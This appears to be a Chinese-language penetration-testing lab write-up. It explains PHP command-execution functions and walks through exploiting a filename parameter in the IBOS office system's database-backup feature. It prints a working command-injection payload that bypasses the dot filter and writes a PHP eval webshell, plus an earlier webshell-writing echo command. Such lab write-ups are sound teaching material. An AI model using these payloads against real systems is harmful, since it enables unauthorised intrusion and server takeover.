小知识
- 目标机器是
linux
执行的就是Bash
命令,如果是windows
执行的就是cmd
命令。 cmd
中&
表示执行多条命令。- 关于命令执行漏洞绕过过滤的讨论
漏洞原理
- 用户输入的数据被当做系统命令进行执行。
- 代码执行:用户输入的数据当作后端代码执行
命令执行:用户输入的数据当作系统命令【cmd、bash】执行 <?php system('whoami')?>
其实一句话木马的本质就是一个命令执行漏洞。echo "<?php eval($_REQUEST[8])?>" 123.php
通过cmd
写文件。- 通过代码执行漏洞 => 都可以调用系统命令
system('whoami')
通过系统命令漏洞 => 能调用代码执行,如cmd
写文件获得shell
。 - 因为代码执行的情况下,可以调用命令执行的函数,所以大部分代码执行都可以调用系统命令,菜刀的终端操作也是利用了命令执行的函数。
函数解析
system()函数
执行命令并且返回结果且输出
exec()函数
只执行,并且只会返回结果的最后一行
shell_exec()函数
执行命令并且返回所有结果,但是没有输出
`` [反引号]
执行命令并且返回结果,但没有输出 【shell_exec
特殊写法,即禁用shell_exec()
函数反引号也不会生效】。
passthru()函数
执行命令并且返回结果且全部输出
popen()
popen
(要执行的命令,参数)
$a = popen('whoami','r'); //r是只读、w是写入
echo fread($a,1024);
//这个执行的返回值比较特殊,返回的是一个文件指针,需要用fread去读取返回值;1024指返回值长度。
对于渗透测试人员而言,返回值并没有那么重要,核心是代码的确已经执行了,这个才是重中之重。
zend加密
Zend Guard
是目前市面上最成熟的PHP
源码加密产品,只要PHP
加载了这个第三方加密插件,那么就可以直接运行加密后的源码,网上也有相关的解密工具。
靶场练习
- 靶场使用的是
IBOS
办公系统, 一键化安装的网站系统 【安装数据库、网站、web
容器、并且配置好】。 - 我们先在本地进行安装测试,因为为
exe
可执行文件,所以建议在虚拟机安装。 - 安装成功后即可得到源码,我们打开代码审计工具,查找第一个函数
system()
。
- 第二个函数
exec()
前面的很明显都是关于数据库的sql
语句的,与系统命令无关。
shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);
- 当我们遇到很复杂的语句时,回到
IBOS
页面,经过测试,得出这串代码的意义是这个sql
语句写入数据库中。
C:/IBOS520/MySQL/bin/mysql -h"127.0.0.1 -P3306" -u"root" -p"root" "ibos" < backup/2022-01-27_L6c686H4.sql
通过代码审计知道上一步的作用是导入数据库 ,经过尝试系统会对我们输入的信息进行过滤 ,也就是说我们无法篡改数据库的id
,后台会对文件是否存在进行校验。
- 我们知道访问数据库会运行系统命令函数 ,既然恢复数据库需要进行检测,没有可以利用的点 。那么我们尝试使用数据库备份执行系统命令, 看到备份模式刚好有一个就是使用系统命令进行备份,这里一定会执行系统命令。
- 发现文件存在
zend
加密,进行解密。 - 我们再次查找函数
shell_exec()
,发现了新的利用点。
$dumpFile =>
$dumpFile = $backupFileName . "-%s.sql";
$backupFileName = self::BACKUP_DIR . "/" .core\utils\str_replace(array("/", "\\", ".", "'"), "", $fileName);
$fileName = core\utils\Env::getRequest("filename");
//BACKUP_DIR为常量;str_replace为函数,核心是正则替换,对变量filename的处理,/ \\ . ' 全部都会变为空。
//getRequest为接受传参
- 找到
filename
这个传参点, 将filename
的传参方式由POST
修改为GET
,这样可以规避URL
编码造成的语句失效, 并且源码允许进行GET
传参 。后台会对.
进行过滤,我们使用cmd
的函数进行规避。构造最终payload
为1&echo "<?php @eval($_REQUEST[8]);?>" >a666%PATHEXT:~0,1%php&1
,进行url
编码。
- 成功上传一句话木马,使用菜刀进行连接获取
flag
。